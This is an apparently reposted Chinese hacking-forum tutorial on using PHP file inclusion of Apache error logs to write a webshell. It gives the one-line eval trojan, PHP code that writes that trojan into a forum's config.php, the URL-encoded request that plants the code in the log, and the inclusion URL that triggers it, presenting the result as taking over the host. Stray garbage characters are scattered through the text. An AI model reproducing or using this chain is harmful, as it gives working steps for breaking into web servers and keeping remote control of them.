php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

) b$ i. U( a0 h; o( P比如还是这句一句话木马
# j/ _# r- d0 O* D$ S4 S<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
1 t7 |: u0 |7 w* ?7 Jfclose($fp);?>   //在config.php里写入一句木马语句

8 o' t  e8 C) m5 z/ y+ b我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
6 P! Q0 d; {# A9 \转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
8 r7 C& ?# P& m# @$ k3 X%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
3 L4 |# F4 }7 s! |3 E4 t%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
8 m. W+ K2 j3 d5 s2 d: t! G0 o我们再来包含日志，提交
4 H1 l, C7 C: Q/ Z' q' a0 Lhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 n) R$ u. L8 {. |" \) A* i
这样webshell就写入成功了，config.php里就写入一句木马语句

http://www.xxx.com/forum/config.php这个就成了我们的webshell
% l$ X$ [& `$ G" `: c9 y1 D直接用lanker的客户端一连，主机就是你的了。
